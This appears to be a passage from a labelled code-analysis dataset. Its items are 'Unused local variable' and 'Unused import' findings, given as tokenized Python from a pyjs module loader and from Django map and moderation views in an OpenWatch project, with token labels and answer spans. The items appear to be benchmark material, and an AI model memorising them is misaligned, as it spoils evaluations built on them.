[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "import", "\\u", "module_", "(_", "sysp", "ath_", ",_", "parent", "\\u", "name_", ",_", "module", "\\u", "name_", ",_", "dynami", "c\\u", "load_", ",_", "async_", ",_", "init_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "JS_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@{", "{", "module", "}}", " ", "=", " ", "$", "pyj", "s", ".", "module", "s", "\\u", "hash", "[", "@{", "{", "module", "\\u", "name", "}}", "];", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "(", "typeof", " ", "@{", "{", "module", "}}", " ", "==", " ", "'", "function", "'", " ", "&&", " ", "@{", "{", "module", "}}", ".\\u", "\\u", "was", "\\u", "initialize", "d\\u", "\\u", " ", "==", " ", "true", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "null", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "(", "@{", "{", "module", "\\u", "name", "}}", " ", "==", " ", "'", "sys", "'", " ", "||", " ", "@{", "{", "module", "\\u", "name", "}}", " ", "==", " ", "'", "pyj", "sli", "b", "')", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "@{", "{", "module", "}}", "();", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "null", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "module", "\\u", "name_", "._", "split_", "(_", "\".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import", "Name_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Import", " ", "all", " ", "module", "s", " ", "in", " ", "the", " ", "chain", " ", "(", "import", " ", "a", ".", "b", ".", "c", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "name_", "in_", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import", "Name_", "+=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "JS_", "(_", "\"\"\"", "@{", "{", "module", "}}", " ", "=", " ", "$", "pyj", "s", ".", "module", "s", "\\u", "hash", "[", "@{", "{", "import", "Name", "}}", "];", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "is", "Unde", "fined", "_", "(_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", " ", "initialize", "d", ",", " ", "but", " ", "presen", "t", ".", " ", "Mus", "t", " ", "be", " ", "pyj", "s", " ", "module", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "JS_", "(_", "\"@", "{{", "module", "}}", ".\\u", "\\u", "was", "\\u", "initialize", "d\\u", "\\u", " ", "!=", " ", "true", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Modul", "e", " ", "was", "n", "'", "t", " ", "initialized_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "a", " ", "pyt", "jon", " ", "module", " ", "from", " ", "Py", "V", "8_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "JS_", "(_", "\"@", "{{", "initialize", "d", "}}", " ", "=", " ", "(", "@{", "{", "module", "}}", ".\\u", "\\u", "was", "\\u", "initialize", "d\\u", "\\u", " ", "!=", " ", "true", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "initialized_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Modul", "e", " ", "was", "n", "'", "t", " ", "initialized_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module_", "=_", "pyv", "8", "\\u", "import", "\\u", "module_", "(_", "parent", "\\u", "name_", ",_", "module", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module_", "._", "\\u\\u", "was", "\\u", "initialize", "d\\u\\u_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "JS_", "(_", "\"\"\"", "$", "pyj", "s", ".", "module", "s", "\\u", "hash", "[", "@{", "{", "import", "Name", "}}", "]", " ", "=", " ", "@{", "{", "module", "}}", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import", "Name_", "+=_", "'.'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "name_", "=_", "names_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "JS_", "(_", "\"\"\"", "$", "pyj", "s", ".", "module", "s", "[", "@{", "{", "name", "}}", "]", " ", "=", " ", "$", "pyj", "s", ".", "module", "s", "\\u", "hash", "[", "@{", "{", "name", "}}", "];", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "no", "Sou", "rce", "Track", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "load", "\\u", "module", "\\u", "wait_", "(_", "proceed", "\\u", "fn_", ",_", "parent", "\\u", "mod_", ",_", "module", "\\u", "list_", ",_", "dynamic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module", "\\u", "list_", "=_", "module", "\\u", "list_", "._", "get", "Array_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "JS_", "(_", "\"\"\"", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "var", " ", "wait", "\\u", "count", " ", "=", " ", "0", ";", "\\", "10", ";", " ", " ", " ", " ", "//", "var", " ", "data", " ", "=", " ", "''", ";", "\\", "10", ";", " ", " ", " ", " ", "//", "var", " ", "element", " ", "=", " ", "$", "doc", ".", "create", "Element", "(\"", "div", "\");", "\\", "10", ";", " ", " ", " ", " ", "//", "element", ".", "inner", "HTM", "L", " ", "=", " ", "''", ";", "\\", "10", ";", " ", " ", " ", " ", "//", "$", "doc", ".", "body", ".", "append", "Chil", "d", "(", "element", ");", "\\", "10", ";", " ", " ", " ", " ", "//", "function", " ", "write", "\\u", "dom", "(", "txt", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "//", " ", " ", " ", " ", "element", ".", "inner", "HTM", "L", " ", "+=", " ", "txt", ";", "\\", "10", ";", " ", " ", " ", " ", "//", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "var", " ", "timeo", "ut", "period", " ", "=", " ", "1", ";", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "(", "@{", "{", "dynami", "c", "}}", ")", "\\", "10", ";", " ", " ", " ", " ", "var", " ", "timeo", "ut", "period", " ", "=", " ", "1", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "var", " ", "wait", " ", "=", " ", "function", "()", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "wait", "\\u", "count", "++", ";", "\\", "10", ";", " ", " ", " ", " ", "//", "write", "\\u", "dom", "(\".", "\");", "\\", "10", ";", " ", " ", " ", " ", "var", " ", "load", "ed", " ", "=", " ", "true", ";", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "(", "var", " ", "i", " ", "in", " ", "@{", "{", "module", "\\u", "list", "}}", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "(", "typeof", " ", "$", "pyj", "s", ".", "module", "s", "\\u", "hash", "[", "@{", "{", "module", "\\u", "list", "}}", "[", "i", "]]", " ", "!=", " ", "'", "function", "')", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "load", "ed", " ", "=", " ", "fal", "se", ";", "\\", "10", ";", " ", " ", " ", " ", "break", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "(!", "load", "ed", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "set", "Time", "out", "(", "wait", ",", " ", "timeo", "ut", "period", ");", "\\", "10", ";", " ", " ", " ", " ", "}", " ", "else", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "(", "@{", "{", "proceed", "\\u", "fn", "}}", ".", "import", "Don", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "@{", "{", "proceed", "\\u", "fn", "}}", ".", "import", "Don", "e", "(", "@{", "{", "proceed", "\\u", "fn", "}}", ");", "\\", "10", ";", " ", " ", " ", " ", "else", "\\", "10", ";", " ", " ", " ", " ", "@{", "{", "proceed", "\\u", "fn", "}}", "();", "\\", "10", ";", " ", " ", " ", " ", "//", "$", "doc", ".", "body", ".", "remove", "Chil", "d", "(", "element", ");", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "//", "write", "\\u", "dom", "(\"", "Load", "ing", " ", "module", "s", " ", "\");", "\\", "10", ";", " ", " ", " ", " ", "wait", "();", "\\", "10", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Miserlou/OpenWatch/openwatch/map/views.py
[ { "content": "# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseNotFound\nfrom django.template import Context, loader\nfrom django.core.urlresolvers import reverse\nfrom django.template import RequestContext\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom datetime import datetime\nfrom tagging.models import Tag, TaggedItem\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login\nfrom django.core.mail import send_mail\nfrom django.conf import settings\nfrom django.http import Http404\nfrom django.db.models import Q\nimport json\n\nfrom openwatch.recordings.models import Recording\nfrom openwatch import recording_tags\n\n\n\n\n\n\n# def map_zipcode(request, zipcode):\n# #featureset = Recording.objects.filter(~Q(lat=None), ~Q(lon=None), ~Q(jtype='organic')).order_by('-date')\n# #total = len(featureset)\n# total = \">40000\"\n# try:\n# location = Location.objects.get(zipcode=zipcode)\n# except:\n# return HttpResponseRedirect('/')\n# return render_to_response('map.html', {'total': total, 'location': location, 'zipcode': zipcode}, context_instance=RequestContext(request)) \n\n\n\n# def map_tag(request, tag=None):\n\n# #0 Responses\n# try:\n# query_tag = Tag.objects.get(name=tag)\n# except Exception, e:\n# return render_to_response('map.html', {'jobs': [], 'numcareers': 0, 'tag': tag}, context_instance=RequestContext(request)) \n\n# entries = TaggedItem.objects.get_by_model(Recording, query_tag)\n# featureset = entries.filter(~Q(lat=None), ~Q(lon=None),).order_by('-date')\n\n\n# return render_to_response('map.html', {'jobs': featureset, 'numcareers': len(featureset), 'tag': tag}, context_instance=RequestContext(request))\n\n\n\n\n# def map_tag_json(request, tag):\n\n# #0 Responses\n# try:\n# query_tag = Tag.objects.get(name=tag)\n# except Exception, e:\n# return HttpResponse(\"{\\\"objects\\\":[]}\", mimetype=\"application/json\")\n\n# entries = TaggedItem.objects.get_by_model(Recording, query_tag)\n# #featureset = entries.filter(~Q(lat=None), ~Q(lon=None),).order_by('-date')\n# featureset = entries.filter().order_by('-date')\n# resp = encode_queryset(featureset)\n# return HttpResponse(resp, mimetype=\"application/json\")\n\n\n# def map_tag_location(request, tag=None, ne_lat=0, ne_lon=0, sw_lat=0, sw_lon=0):\n\n# ne_lat = float(ne_lat)\n# ne_lon = float(ne_lon)\n# sw_lat = float(sw_lat)\n# sw_lon = float(sw_lon)\n\n# #0 Responses\n# try:\n# query_tag = Tag.objects.get(name=tag)\n# except Exception, e:\n# return render_to_response('map.html', {'jobs': [], 'numcareers': 0, 'tag': tag}, context_instance=RequestContext(request)) \n\n# entries = TaggedItem.objects.get_by_model(Recording, query_tag)\n# #featureset = entries.filter(lat__lt=ne_lat, lat__gt=sw_lat,lon__lt=ne_lon, lon__gt=sw_lon).order_by('-date')\n# featureset = Recording.objects.order_by('-date')\n \n# return render_to_response('map.html', {'jobs': featureset, 'numcareers': len(featureset), 'tag': tag}, context_instance=RequestContext(request))\n\n\n# def about(request):\n# return render_to_response('about.html', {}, context_instance=RequestContext(request))\n\n# Encoders\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@login_required\ndef moderate(request):\n ''' Split map/table recording moderation.\n Requires user is a superuser or has an org tag and can_moderate=True\n '''\n\n response_values = {}\n\n org_tag = request.user.get_profile().org_tag\n # If the user isn't a superuser or doesn't have an org tag w/ moderation privilege, bounce 'em\n #print 'can_moderate: ' + str(request.user.get_profile().can_moderate) + ' org_tag: ' + str(org_tag)\n if not request.user.is_superuser and (not request.user.get_profile().can_moderate or org_tag == ''):\n raise Http404\n\n if recording_tags.ACLU_NJ in org_tag:\n # Center on New Jersey\n location = {}\n location['lat'] = 40.167274\n location['lon'] = -74.616338\n response_values['location'] = location\n\n response_values['total'] = 'lots!'\n\n return render_to_response('moderate.html', response_values, context_instance=RequestContext(request))", "metadata": "root.moderate", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def map(request):\n #featureset = Recording.objects.filter(~Q(lat=None), ~Q(lon=None), ~Q(jtype='organic')).order_by('-date')\n #total = len(featureset)\n total = \"lots!\"\n return render_to_response('map.html', {'total': total}, context_instance=RequestContext(request))", "metadata": "root.map", "header": "['module', '___EOS___']", "index": 50 }, { "content": "def size(request):\n featureset = Recording.objects.filter(~Q(lat=None), ~Q(lon=None), ~Q(jtype='organic')).exclude(location__exact='No description available').exclude(location__exact='0.0, 0.0').order_by('-date')\n total = len(featureset)\n return render_to_response('map.html', {'total': total}, context_instance=RequestContext(request)) ", "metadata": "root.size", "header": "['module', '___EOS___']", "index": 66 }, { "content": "def redir(self):\n return HttpResponseRedirect('/')", "metadata": "root.redir", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def map_json(request):\n #featureset = Recording.objects.filter(~Q(lat=None), ~Q(lon=None), ~Q(jtype='organic')).order_by('-date')[:1000]\n featureset = Recording.objects.all().order_by('-date').filter(~Q(location='')).exclude(location__isnull=True).exclude(location__exact='')[:750]\n resp = encode_queryset(featureset)\n return HttpResponse(resp, mimetype=\"application/json\")", "metadata": "root.map_json", "header": "['module', '___EOS___']", "index": 88 }, { "content": "@login_required\ndef map_json_moderate(request):\n # If moderating, only return recordings that are not org-approved\n # And that are tagged with the user's organization tag\n org_tag = request.user.get_profile().org_tag\n if org_tag != '':\n #print 'Org tag: ' + org_tag\n featureset = Recording.objects.filter(org_approved=False, org_flagged=False, tags__contains=org_tag)\n else:\n featureset = Recording.objects.all()\n\n #featureset = Recording.objects.filter(~Q(lat=None), ~Q(lon=None), ~Q(jtype='organic')).order_by('-date')[:1000]\n featureset = featureset.order_by('-date').filter(~Q(location='')).exclude(location__isnull=True).exclude(location__exact='')\n resp = encode_queryset(featureset)\n return HttpResponse(resp, mimetype=\"application/json\")", "metadata": "root.map_json_moderate", "header": "['module', '___EOS___']", "index": 95 }, { "content": "def map_location_json(request, ne_lat=0, ne_lon=0, sw_lat=0, sw_lon=0):\n\n ne_lat = float(ne_lat)\n ne_lon = float(ne_lon)\n sw_lat = float(sw_lat)\n sw_lon = float(sw_lon)\n\n featureset = Recording.objects.filter(lat__lt=ne_lat, lat__gt=sw_lat,lon__lt=ne_lon, lon__gt=sw_lon).order_by('-date').exclude(location__isnull=True).exclude(location__exact='').exclude(location__exact='No description available').exclude(location__exact='0.0, 0.0')[:750]\n #featureset = Recording.objects.order_by('-date').exclude(location__isnull=True).exclude(location__exact='').exclude(location__exact='No description available').exclude(location__exact='0.0, 0.0')[:750]\n\n if len(featureset) < 1:\n return HttpResponse(\"{\\\"objects\\\":[]}\", mimetype=\"application/json\")\n \n resp = encode_queryset(featureset)\n return HttpResponse(resp, mimetype=\"application/json\")", "metadata": "root.map_location_json", "header": "['module', '___EOS___']", "index": 145 }, { "content": "def encode_queryset(featureset):\n resp = '{\"objects\":['\n for obj in featureset:\n resp = resp + json.dumps(obj.to_dict()) + ','\n resp = resp[:-1] + ']}'\n\n return resp", "metadata": "root.encode_queryset", "header": "['module', '___EOS___']", "index": 166 } ]
[ { "span": "from django.http import HttpResponse, HttpResponseRedirect, HttpResponseNotFound", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 80 }, { "span": "from django.template import Context, loader", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 43 }, { "span": "from django.core.urlresolvers import reverse", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 44 }, { "span": "from django.shortcuts import get_object_or_404, render_to_response", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 66 }, { "span": "from django.core.exceptions import ObjectDoesNotExist", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 53 }, { "span": "from tagging.models import Tag, TaggedItem", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 42 }, { "span": "from django.views.decorators.csrf import csrf_exempt", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 52 }, { "span": "from django.contrib.auth.models import User", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 43 }, { "span": "from django.contrib.auth import authenticate, login", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 51 }, { "span": "from django.core.mail import send_mail", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 38 }, { "span": "from django.conf import settings", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Creat", "e", " ", "your", " ", "views", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", ",_", "Http", "Respons", "e", "Redirect_", ",_", "Http", "Respons", "e", "Not", "Found_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Context_", ",_", "loader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Request", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "get", "\\u", "object\\u", "or", "\\u", "404_", ",_", "render", "\\u", "to", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "exceptions_", "import_", "Object", "Do", "es", "Not", "Exist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tagging", "_", "._", "models_", "import_", "Tag_", ",_", "Tagg", "ed", "Item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "decorators_", "._", "csrf_", "import_", "csr", "f", "\\u", "exempt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "authenticate_", ",_", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "mail_", "import_", "send", "\\u", "mail_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "import_", "Q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "open", "watch_", "._", "recordings", "_", "._", "models_", "import_", "Record", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "open", "watch_", "import_", "record", "ing", "\\u", "tags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "map", "\\u", "zipcode", "(", "request", ",", " ", "zipcode", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "features", "et", " ", "=", " ", "Record", "ing", ".", "object", "s", ".", "filter", "(", "~", "Q", "(", "lat", "=", "Non", "e", "),", " ", "~", "Q", "(", "lon", "=", "Non", "e", "),", " ", "~", "Q", "(", "jt", "ype", "='", "organi", "c", "'))", ".", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "total", " ", "=", " ", "len", "(", "features", "et", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "total", " ", "=", " ", "\">", "40000", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "location", " ", "=", " ", "Locat", "ion", ".", "object", "s", ".", "get", "(", "zipcode", "=", "zipcode", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "Http", "Respons", "e", "Redirect", "('", "/'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "map", ".", "html", "',", " ", "{", "'", "total", "':", " ", "total", ",", " ", "'", "location", "':", " ", "location", ",", " ", "'", "zipcode", "':", " ", "zipcode", "},", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "map", "\\u", "tag", "(", "request", ",", " ", "tag", "=", "Non", "e", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "0", " ", "Responses", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "query", "\\u", "tag", " ", "=", " ", "Ta", "g", ".", "object", "s", ".", "get", "(", "name", "=", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", " ", "Except", "ion", ",", " ", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "map", ".", "html", "',", " ", "{", "'", "jobs", "':", " ", "[]", ",", " ", "'", "numc", "are", "ers", "':", " ", "0", ",", " ", "'", "tag", "':", " ", "tag", "},", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "entri", "es", " ", "=", " ", "Tagg", "ed", "Item", ".", "object", "s", ".", "get", "\\u", "by", "\\u", "model", "(", "Record", "ing", ",", " ", "query", "\\u", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "features", "et", " ", "=", " ", "entri", "es", ".", "filter", "(", "~", "Q", "(", "lat", "=", "Non", "e", "),", " ", "~", "Q", "(", "lon", "=", "Non", "e", "),", ").", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "render", "\\u", "to", "\\u", "response", "('", "map", ".", "html", "',", " ", "{", "'", "jobs", "':", " ", "features", "et", ",", " ", "'", "numc", "are", "ers", "':", " ", "len", "(", "features", "et", "),", " ", "'", "tag", "':", " ", "tag", "},", " ", "context", "\\u", "instance", "=", "Request", "Context", "(", "request", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "map", "\\u", "tag", "\\u", "json", "(", "request", ",", " ", "tag", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "0", " ", "Responses", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "query", "\\u", "tag", " ", "=", " ", "Ta", "g", ".", "object", "s", ".", "get", "(", "name", "=", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", " ", "Except", "ion", ",", " ", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "Http", "Respons", "e", "(\"", "{\\\\", "\"", "object", "s", "\\\\\":", "[]", "}\"", ",", " ", "mime", "type", "=\"", "applica", "tion", "/", "json", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "entri", "es", " ", "=", " ", "Tagg", "ed", "Item", ".", "object", "s", ".", "get", "\\u", "by", "\\u", "model", "(", "Record", "ing", ",", " ", "query", "\\u", "tag", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "#", "features", "et", " ", "=", " ", "entri", "es", ".", "filter", "(", "~", "Q", "(", "lat", "=", "Non", "e", "),", " ", "~", "Q", "(", "lon", "=", "Non", "e", "),", ").", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "features", "et", " ", "=", " ", "entri", "es", ".", "filter", "()", ".", "order", "\\u", "by", "('", "-", "date", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "resp", " ", "=", " ", "encode", "\\u", "querys", "et", "(", "features", "et", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "Http", "Respons", "e", "(", "resp", ",", " ", "mime", "type", "=\"", "applica", "tion", "/", "json", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "map", "\\u", "tag", "\\u", "location", "(", "request", ",", " ", "tag", "=", "Non", "e", ",", " ", "ne", "\\u", "lat", "=", "0", ",", " ", "ne", "\\u", "lon", "=", "0", ",", " ", "sw", "\\u", "lat", "=", "0", ",", " ", "sw", "\\u", "lon", 